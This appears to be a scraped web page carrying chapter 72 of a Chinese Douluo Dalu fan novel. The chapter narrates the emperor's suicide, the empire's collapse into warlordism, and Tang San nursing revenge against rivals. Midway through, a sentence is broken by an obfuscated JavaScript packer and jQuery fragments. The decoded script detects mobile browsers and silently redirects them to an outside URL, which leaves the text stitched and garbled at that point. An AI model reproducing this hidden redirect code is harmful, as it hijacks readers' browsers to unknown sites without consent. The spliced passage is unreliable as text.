默认冷灰
24号文字
方正启体

72. 第七十二章:帝国黄昏

作者:望月怀柔本书字数:K更新时间:
    星罗帝国,斗罗历2646年,深秋。


    这是一个足以被载入帝国史册,却又会让每一个星罗子民都羞于提及的日子。


    帝都金銮殿后的御花园深处,那棵因为长得歪七扭八而被历代帝王嫌弃、却又因其顽强的生命力而得以保留的歪脖子老槐树,在今天,终于迎来了它此生唯一的、也是最沉重的一份“荣耀”。


    星罗帝国的皇帝,戴天龙,用一根三尺白绫,将自己高贵的头颅,亲手挂在了这棵他曾经看都懒得看一眼的歪脖子树上。


    当第二天清晨,前来打扫的宫女发出一声足以划破天际的凄厉尖叫时,这位曾经在整个大陆都以雄才大略和铁血手腕著称的帝王,身体早已变得冰冷而僵硬。他瞪大了那双至死都充满了无尽悔恨、不甘与恐惧的眼睛,舌头伸得老长,面容扭曲而青紫,再无半分昔日的威严。


    他死了。


    在得知斗灵平原百万大军于一日之内全军覆没、镇国斗罗白啸天力战而亡的战报后的第二天,这位将自己和整个帝国都押上赌桌,最终却输得连底裤都不剩的疯狂赌徒,终于用一种最懦弱,也最决绝的方式,结束了自己荒诞而又可悲的一生。


    他选择了逃避,将一个分崩离析、摇摇欲坠的烂摊子,留给了整个帝国。


    皇帝的自尽,如同一颗投入死水潭的巨石,激起的,却是足以颠覆整个帝国的滔天巨浪。


    这根吊死了皇帝的白绫,仿佛也勒断了星罗帝国最后一根名为“秩序”的神经。


    连锁反应,以一种近乎于疯狂的速度,在帝国的每一个角落,轰然爆发。


    北境,手握三十万边防大军的总督,在得知皇帝死讯的当天下午,便公然撕毁了皇室的旗帜,换上了代表自己家族的苍鹰战旗,悍然宣布自立为“北境之王”。


    南疆,富得流油的行省总督,连夜秘密宴请了驻扎在附近的几位军团长,用堆积如山的金魂币和数不清的美人,成功换取了他们的效忠,第二天便上奏“清君侧,诛乱臣”的奏章,实际上已然割据一方。


    帝国腹地,那些曾经在金銮殿上对戴天龙磕头如捣蒜的文武百官,更是将“树倒猢狲散”这句谚语,演绎到了极致。


    有兵权的,毫不犹豫地选择了拥兵自重,将治下的城池和军队,变成了自己的私人财产。


    没兵权的,则像是闻到血腥味的苍蝇,四处串联,拉帮结派,或用金钱美色,或用家族情谊,不惜一切代价地去勾结、腐蚀那些手握兵权的武将,企图在这场即将到来的、瓜分帝国尸体的饕餮盛宴中,分到一杯羹。


    忠诚与秩序,在一夜之间,变成了最可笑的笑话。


    整个星罗帝国,这个曾经与天斗女国分庭抗礼、雄踞大陆一方的庞然大物,就在它最强大的君主,做出最愚蠢的决定之后,以一种超乎所有人想象的速度,轰然倒塌,分崩离析,陷入了无尽的内乱与战火之中。


    而这一切,对于此刻正身处星罗帝国最偏远的、鸟不拉屎的西境丙字营中的唐三而言,既像是隔岸观火的闹剧,又像是切肤之痛的现实。


    他很庆幸。


    庆幸自己只是一个名不见经传的小小新兵,庆幸自己所在的丙字营是出了名的“垃圾回收站”,根本没有资格被抽调去参加那场“神圣之战”。也正因如此,他才得以幸免于难,没有像那百万同袍一样,稀里糊涂地,就成了斗灵平原上的一捧焦土。


    可庆幸过后,是更加深沉的、几乎要将他整个人都吞噬的郁闷与……怨毒。


    潮湿阴暗的营房里,唐三正盘膝坐在自己那张由几块破木板搭成的简陋床铺上,借着窗外透进来的、微弱的月光,一遍又一遍地,擦拭着手中那几枚刚刚淬了毒的、闪烁着幽蓝寒光的“透骨针”。


    他的动作很慢,很稳,仿佛在打磨一件稀世珍宝。可他那双总是隐藏在阴影里的、深邃的眸子里,此刻却翻涌着与他平静的动作截然相反的、狂暴如潮的情绪。


    这几个月来,外界的消息,如同雪花般,通过各种渠道,断断续续地传到了他的耳中。


    “听说了吗?那个史莱克学院的‘大师’玉小刚,在天斗城的大赛开幕式上,当众胡言乱语,冲撞了女皇陛下,已经被流放到极北之地喂魂兽去了!”


    当第一次从一个去过天斗城的老兵口中听到这个消息时,唐三的心,像是被一只无形的大手狠狠地攥住,疼得他几乎无法呼吸。


    老师……


    那个将他从一个一无所知的孩童,引入魂师世界大门的、如同父亲般的老师,就这么……没了?


    他攥紧了拳头,指甲深深地刺入了掌心。他知道,以老师那宁折不弯的孤高性格,绝不可能无缘无故地去冲撞女皇。这背后,一定是有人在搞鬼!而这个人是谁,他用脚指头都能想到!


    朱月月!朱竹清!


    一定又是她们!


    这股无处发泄的怒火,还未平息,另一个更加惊悚、更加荒诞的战报,便如同晴天霹雳,轰然传来。


    “败了……全败了!百万大军啊!就在斗灵平原,连一个时辰都没撑到,就被天斗女国的魂导炮,给轰没了!”


    “元帅……白啸天元帅,也战死了!尸骨无存啊!”


    当这个消息传遍整个军营时,唐三正在角落里,默默地啃着一块又干又硬的黑面包。他听着周围那些老兵们脸上那活见鬼般的惊恐与难以置信,看着他们抱头痛哭、咒骂老天不公的丑态,他的心中,却生不出一丝一毫的悲伤。


    他只是觉得,可笑。


    可笑于那个高高在上的皇帝,竟然会做出如此愚蠢的决定;更可笑于这所谓的“百万大军”,竟脆弱得如同纸糊。


    随即,一种病态的、扭曲的快感,从他心底悄然升起。


    【败了也好。这个腐朽的、只会欺压弱者的帝国,早就该毁灭了。】


    他想起了自己刚入伍时,所遭受的那些非人的欺凌与羞辱。若不是父亲暗中出手,将那些人渣全都处理得干干净净,恐怕自己现在,早已成了一具冰冷的尸体。


    这个帝国,从上到下,都烂透了。它的毁灭,与我何干?


    而接下来的消息,则像是一根根淬了毒的钢针,一下,又一下,狠狠地扎在他的心上。


    “最新消息!天斗女皇雪倾城,在武魂城下,一棍砸塌了武魂殿的城墙,逼得教皇比比东低头认输,将总决赛场地搬到了城外!”


    “总决赛上,史莱克学院的朱月月,以一人之力,碾压了武魂殿的黄金一代!那个七环魂圣焱,被她像玩沙包一样,活活虐杀!”


    “赛后,女皇陛下龙颜大悦,当众册封了史莱克众人,有一个算一个都混了个百户侯!”


    当这些消息,伴随着说书人那添油加醋的、极尽夸张的描述,在军营的篝火晚会上被一遍遍传颂时,唐三只觉得自己的胸口,像是堵了一块烧红的烙铁,闷得他喘不过气来。


    他手中的黑面包,不知何时,已被他捏得粉碎。


    郁闷。


    怨毒。


    不甘。


    凭什么?


    凭什么她们可以光芒万丈,受万众敬仰,封侯拜相?而我唐三,身怀两大顶级武魂,身负唐门绝学,却要在这阴暗的角落里,像一只见不得光的老鼠,苟延残喘?


    他想起,在史莱克时,她们是如何用那不讲道理的“锻体”,将老师的理论,贬得一文不值。


    他想起,小舞是如何被她们用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387912|200282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几块点心、几件漂亮的衣服,就轻易地“拐走”,甚至到最后,连看都不再看自己一眼。


    他想起,自己是如何被她们的小团体排挤、孤立,最后不得不像一条丧家之犬般,黯然离开。


    他想起,自己的老师,是如何被她们用那神鬼莫测的手段,当众羞辱,最后落得个流放极北、生死不知的下场。


    这一切,所有的失败,所有的屈辱,所有的不公……全都源于那三个女人!


    “朱、月、月……”


    唐三从牙缝里,一个字一个字地挤出这个名字,那双深邃的眸子里,翻涌的,是足以将人溺毙的、浓稠如墨的怨毒。


    他知道,自己和她们之间,早已不是简单的嫉妒与不甘,而是不死不休的血海深仇!


    而现在,皇帝死了。帝国,也乱了。


    这对于别人来说,是末日。但对于他唐三而言,却是千载难逢的……机会!


    乱世,才好出英雄。


    他,唐三,绝不甘心一辈子只当一个默默无闻的小兵!


    他要在这片即将被战火吞噬的、腐烂的土地上,为自己,谋求一块立足之地!他要建立自己的势力,培养自己的班底,然后,一步一步地,走到那三个女人的面前,将她们曾经施加在自己和老师身上的所有屈辱,千倍、万倍地,奉还回去!


    “伍长!伍长!该巡夜了!”


    营房外,传来一道粗犷的喊声。


    唐三眼中的怨毒瞬间收敛,取而代之的,是与他年龄不符的、深沉的冷静。他将手中的透骨针小心翼翼地收入怀中,然后站起身,整理了一下身上那套浆洗得有些发白的军服。


    伍长。


    一个只能管五个人的、军队中最底层的、芝麻绿豆般的小官。


    这是他这几个月来,凭借着远超常人的毅力和那几次“恰到好处”的立功,所换来的全部成果。


    若是换做以前,他或许会因此而感到不甘和屈辱。但现在,他不会了。


    因为他明白,这五个看似愚笨粗鲁的大头兵,就是他在这乱世之中,可以倚仗的、最初的资本。


    夜色如墨。


    唐三带着手下那五个歪瓜裂枣的士兵,走在营地边缘的木制围墙上。秋夜的风很冷,刮在脸上,像刀子一样。


    “妈的,这鬼天气,真他娘的冷。”一个名叫“王二麻子”的老兵,缩了缩脖子,骂骂咧咧地说道,“伍长,你说,咱们这日子,啥时候是个头啊?”


    唐三没有回答,只是从怀里掏出一个小小的油纸包,打开,里面是几块还带着余温的、散发着诱人香气的烤肉。这是他白天用自己打到的野兔,偷偷烤的。


    “分了吃了,暖暖身子。”唐三的语气很平淡。


    那五个士兵见状,眼睛都直了,也顾不上什么上下级,一拥而上,三下五除二就将那几块烤肉分食干净。


    “嘿嘿,还是伍长您对我们好。”王二麻子一边啃着肉,一边含糊不清地说道,“跟着您,就是有肉吃!”


    唐三看着他们那副狼吞虎咽的模样,嘴角勾起一抹微不可察的弧度。


    他知道,想要收服这些只认拳头和肚子的兵痞子,讲大道理是没用的。只有最实在的利益,才能将他们牢牢地绑在自己的战车上。


    “吃饱了,就给我打起精神来。”唐三的声音,依旧平淡,却带着一股不容置疑的威严,“从今天起,这个帝国,要变天了。想活下去,甚至……活得比以前更好,就都给我,把招子放亮点,老老实实地,听我的。”


    他顿了顿,目光扫过远处那片混乱而又黑暗的城镇,眼中闪烁着野心的光芒。


    “很快,我们就有正大光明吃肉喝酒,甚至……。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)